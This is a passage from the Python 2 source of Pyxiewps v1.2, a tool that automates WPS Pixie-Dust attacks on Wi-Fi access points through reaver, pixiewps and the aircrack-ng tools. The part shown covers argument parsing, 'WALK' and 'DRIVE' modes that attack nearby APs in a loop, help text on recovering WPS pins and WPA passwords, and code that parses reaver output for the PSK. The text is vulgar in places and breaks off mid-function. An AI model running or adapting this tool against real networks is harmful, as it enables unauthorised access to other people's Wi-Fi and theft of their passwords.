from os import kill, system, path, chdir
from signal import alarm, signal, SIGALRM, SIGKILL
import time
import subprocess
from re import sub, compile, search
from sys import argv
import datetime
import urllib

REAVER = 'reaver'
PIXIEWPS = 'pixiewps'
AIRMON = 'airmon-ng'
GIT = 'git'
INFO = '\033[32m[+] \033[0m'   # green
ALERT = '\033[31m[!] \033[0m' # red
INPUT = '\033[34m[>] \033[0m'  # blue
DATA = '\033[33m[DATA] \033[0m'  #yellow
OPTION = '\033[33m[!!!] \033[0m' #yellow
SEPARATOR = '*'*70+'\n'
USE_PIXIEWPS = False # Tries to get the WPS pin with pixiewps
AIRODUMP_TIME = 3    # Airodump spends this amount of time enumerating APs
RSSI = -100          # RSSI
CHANNEL = ''         # All
REAVER_TIME = 6      # Time to get all the useful AP information with reaver
CHOICES_YES = ['Y', 'y', '', 'yes', 'YES', 'Yeah.. whatever...']
CHOICES_NOPE = ['N', 'n', 'no', 'No', 'Dude... I mean... NO! GTFO!'] # Tits or GTFO
blacklist = [] # BSSID blacklist of failed attacks
PROMPT_APS = False
OUTPUT = False
OUTPUT_FILE = 'data.txt'
PRINT_REAVER = True
PRINT_PIXIE = True
GET_PASSWORD = False
FOREVER = False
OVERRIDE = True
BLACKLIST = True
MAX_APS = 'All'
USE_MODES = False

def banner():
  """
  Prints the banner into the screen
  """
  
  print
  print "\t ____             _                         "
  print "\t|  _ \ _   ___  _(_) _____      ___ __  ___ "
  print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / '_ \/ __|"
  print "\t|  __/| |_| |>  <| |  __/\ V  V /| |_) \__ \\"
  print "\t|_|    \__, /_/\_\_|\___| \_/\_/ | .__/|___\\"
  print "\t       |___/                     |_|        "
  print
  print "\tPyxiewps v1.2 by jgilhutton <pyxiewps@gmail.com>"
  print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg"
  print "\t Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>"
  print "\tPixiewps  Copyright (c) 2015, wiire <wi7ire@gmail.com>"
  print "\tAircrack www.aircrack-ng.org"
  print
  
def arg_parser():
  """
  Parses the arguments and calls the help() function if any problem is found
  """
 
  global PRINT_PIXIE
  global PRINT_REAVER
  global USE_PIXIEWPS
  global AIRODUMP_TIME
  global REAVER_TIME
  global CHANNEL
  global PROMPT_APS
  global OUTPUT_FILE
  global OUTPUT
  global GET_PASSWORD
  global FOREVER
  global OVERRIDE
  global BLACKLIST
  global RSSI
  global MAX_APS
  global USE_MODES
  H = ['-h','--help']
  flags = ['-p','-P','-f','-q','-F','-A']
  binary_flags = ['-a','-t','-c','-o','-s','-m','-M',
		 '--max-aps','--rssi','--airodump-time','--time','--channel','--output','--mode']
  
  for arg in argv[1:]:
    if arg in H:
      help()
      exit()
    elif argv[argv.index(arg)-1] in binary_flags:
      continue
    elif arg == '-m' or arg == '--mode':
      USE_MODES = True
      mode = argv[argv.index(arg)+1]
      if mode == 'WALK':
	USE_PIXIEWPS = True
	AIRODUMP_TIME = 4
	REAVER_TIME = 8
	GET_PASSWORD = True
	FOREVER = True
	MAX_APS = 2
      elif mode == 'DRIVE':
	USE_PIXIEWPS = True
	REAVER_TIME = 10
	FOREVER = True
	MAX_APS = 1
      elif mode == 'STATIC':
	USE_PIXIEWPS = True
	AIRODUMP_TIME = 5
	REAVER_TIME = 10
	GET_PASSWORD = True
	PROMPT_APS = True
	OVERRIDE = False
      else:
	print ALERT + "WTF does %s mean?" %mode
	print "    Check available modes in the help."
	print "    But I know you are a lazy fuck, so here's the help for you..."
	help()
    elif arg == '-M' or arg == '--max-aps':
      try:
	MAX_APS == int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-s' or arg == '--rssi':
      try:
	RSSI = int(argv[argv.index(arg)+1])
	if RSSI < -100 or RSSI > 0: help()
      except ValueError:
	help()
    elif arg == '-q' or arg == '--quiet':
      PRINT_PIXIE = False
      PRINT_REAVER = False
    elif arg == '-p' or arg == '--use-pixie':
      USE_PIXIEWPS = True
    elif arg == '-a' or arg == '--airodump-time':
      try:
	AIRODUMP_TIME = int(argv[argv.index(arg)+1])
	if REAVER_TIME <= 0: help()
      except ValueError:
	help()
    elif arg == '-t' or arg == '--time':
      try:
	REAVER_TIME = int(argv[argv.index(arg)+1])
	if REAVER_TIME <= 0: help()
      except ValueError:
	help()
    elif arg == '-c' or arg == '--channel':
      try:
	CHANNEL = int(argv[argv.index(arg)+1])
	if CHANNEL <= 0 or CHANNEL >= 15: help()
      except ValueError:
	help()
    elif arg == '-P' or arg == '--prompt':
      PROMPT_APS = True
    elif arg == '-o' or arg == '--output':
      OUTPUT = True
      try:
	m = argv[argv.index(arg)+1]
	if m not in flags:
	  if m not in binary_flags: OUTPUT_FILE = m
      except IndexError:
	pass
    elif arg == '-f' or arg == '--pass':
      GET_PASSWORD = True
    elif arg == '-F' or arg == '--forever':
      FOREVER = True
    elif arg == '-A' or arg == '--again':
      OVERRIDE = False
      BLACKLIST = False
    else:
      help()
    if CHANNEL != '':
      AIRODUMP_TIME = 1

def help():
  """
  Help information
  """
  
  print
  print '  Examples:'
  print
  print "\tpyxiewps -p -t 6 -c 7 -P -o file.txt -f"
  print "\tpyxiewps --use-pixie --time 6 --channel 7 --prompt --output file.txt"
  print "\tpyxiewps -m STATIC"
  print "\tpyxiewps --mode DRIVE"
  print
  print '  Individual options:'
  print
  print '\t-p --use-pixie               Once all the data is captured with reaver                [False]'
  print '\t                             the script tries to get the WPS pin with pixiewps.'
  print '\t-a --airodump-time [time]    Airodump spends this amount of time enumerating APs      [3]'
  print '\t-t --time [time]             Set the time used to get the hex data from the AP.       [6]'
  print '\t-c --channel [channel]       Set the listening channel to enumerate the WPS-active APs.'
  print '\t                             If not set, all channels are listened.'
  print '\t-P --prompt                  If more than one WPS-active AP is found, ask the user    [False]'
  print '\t                             the target to attack.'
  print '\t-o --output [file]           Outputs all the data into a file.'
  print '\t-f --pass                    If the WPS pin is found, the script uses reaver again to retrieve'
  print '\t                             the WPA password of the AP.'
  print '\t-q --quiet                   Doesn\'t print the AP information. Will print the WPS pin and pass if found.'
  print '\t-F --forever                 Runs the program on a While loop so the user can scan and attack a hole'
  print '\t                             zone without having to execute the program over and over again.'
  print '\t-A --again                   Target is attacked again in case of success without prompting the user.'
  print '\t-s --signal [-NUMBER]        APs with RSSI lower than NUMBER will be ignored          [-100]'
  print '\t                             A value of "-50" will ignore APs with RSSI between'
  print '\t                             -100 and -51 and will attack APs which RSSI goes from -50 to 0'
  print '\t-M --max-aps [number]        Max amount of APs to be attacked.'
  print '\t-m --mode [mode]             Set the mode preset. Any preset option can be override'
  print '\t                             by giving its argument and value on the commandline.'
  print '\t                             i.e: "-m DRIVE -t 10"'
  print
  print '  Available modes:'
  print
  print '\tWALK:'
  print '\t\t[-p] [-f] [-a 4] [-t 8] [-F] [-M 2]'
  print '\t\tTries to get the WPS pin'
  print '\t\t4 seconds will be used to enumerate the APs'
  print '\t\t8 seconds will be used to fetch the AP information'
  print '\t\tWill try to get the password'
  print '\t\tThe program will run in a while loop.'
  print '\t\tA max amount of 2 APs will be attacked'
  print '\t\tAP won\'t be atacked again if failed once'
  print '\tDRIVE:'
  print '\t\t[-p] [-t 10] [-F] [-M 1]'
  print '\t\tTries to get the WPS pin'
  print '\t\t3 seconds will be used to enumerate the APs'
  print '\t\t10 seconds will be used to fetch the AP information'
  print '\t\tWon\'t try to get the password'
  print '\t\tThe program will run in a while loop.'
  print '\t\tOnly one AP will be attacked'
  print '\t\tAP won\'t be atacked again if failed once'
  print '\tSTATIC:'
  print '\t\t[-p] [-f] [-a 5] [-t 10] [-P] [-O]'
  print '\t\tTries to get the WPS pin'
  print '\t\t5 seconds will be used to enumerate the APs'
  print '\t\t10 seconds will be used to fetch the AP information'
  print '\t\tWill try to get the password'
  print '\t\tThe program will run only once'
  print '\t\tUser will be prompted for an AP to attack'
  print '\t\tAP will be atacked again if failed once'
  exit()
  
class Engine():
  """
  Manage the Config functions and start the program
  """

  def __init__(self):
    self.REAVER = True
    self.PIXIEWPS = True
    self.AIRMON = True
    self.GIT = True
  
  def start(self):
    """
    Main function
    """
    
    chdir('/root/')
    if not c.check_iface(): # check_iface returns True if any previous wlan is found in monitor mode
      c.set_iface("UP")
    else:
      print INFO + "Previous interface was found in NSA mode: %s" %c.IFACE_MON
      choice = raw_input("%sDo you wish to use this interface? [Y/n] " %INPUT)
      print
      if choice in CHOICES_YES:
      	print INFO + "Good fucking choice..."
      	print
	pass
      elif choice in CHOICES_NOPE:
	c.set_iface("DOWN")
	c.set_iface("UP")
    print INFO + "It's on! Bitches..."
    while True:
      attack = Attack()
      attack.get_wps_aps()
      if not FOREVER:
	engine.exit_clean()

  def parse_reaver(self, output, pin_found = False):
    """
    Parses the reaver output
    Gets the pkr, pke, hash1 y 2, enonce, rnonce, authkey, manufacturer y model
    and returns all the data
    """

    if pin_found:
      password = ''
      for line in output:
	if '[+] WPA PSK: ' in line:
	  password = sub('\[\+\] WPA PSK: ','',line)
	  return password
      if password == '':
	return 'no password'

    E_NONCE = ''
    R_NONCE = ''
    PKR = ''
    PKE = ''
    HASH1 = ''
    HASH2 = ''
    AUTHKEY = ''
    MANUFACTURER = ''
    MODEL = ''
    NUMBER = ''
    uberlist = []
    final_list = []
    is_complete = False
    has_something = False
    
    if output == '':
      return 'shit'
      
    for line in output:
      if 'E-Nonce' in line:
	has_something = True
      elif 'E-Hash2' in line:
	final_list = output[0:output.index(line)+1] # Truncates the output after the hash2 is found
	is_complete = True
	break
      elif 'Detected AP rate limiting' in line:
	return 'ap rate limited'
    if has_something and not is_complete:
      return 'more time please'
    elif has_something == False:
      return 'noutput'
    for line in final_list:
      if 'E-Nonce' in line:
	E_NONCE = sub('\[P\] E-Nonce: ','',line)
      elif 'R-Nonce' in line:
	R_NONCE = sub('\[P\] R-Nonce: ','',line)
      elif 'PKR' in line:
	PKR = sub('\[P\] PKR: ','',line)
      elif 'PKE' in line:
	PKE = sub('\[P\] PKE: ','',line)
      elif 'E-Hash1' in line:
	HASH1 = sub('\[P\] E-Hash1: ','',line)
      elif 'E-Hash2' in line:
	HASH2 = sub('\[P\] E-Hash2: ','',line)
      elif 'AuthKey' in line:
	AUTHKEY = sub('\[P\] AuthKey: ','',line)
      elif 'Manufacturer' in line:
	MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',line)
      elif 'Model Name' in line:
	MODEL = sub('\[P\] WPS Model Name: ','',line)
      elif 'Model Number' in line:
	NUMBER = sub('\[P\] WPS Model Number: ','',line)
      elif '[+] Associated with ' in line:
	ESSID = sub('\(ESSID\: ','|',line)
	ESSID = ESSID.split('|')[-1][:-2]
      elif '[+] Waiting for beacon from ' in line:
	BSSID = sub('\[\+\] Waiting for beacon from ','',line)

    uberlist = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(),
    MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(),
    ESSID.strip(),BSSID.strip()]
    return uberlist
  
  def parse_airodump(self, input):
    """
    Parses the airodump output
    If you find some error in the program flow, check this function first.
    returns ESSIDs, WPSstatus, channel, bssid and RSSI
    """

    plist = []
    input.reverse() # Important
    inds = [47,73,86] # CHANNEL, WPS, ESSID indexes
    if CHANNEL != '': inds = [i+4 for i in inds]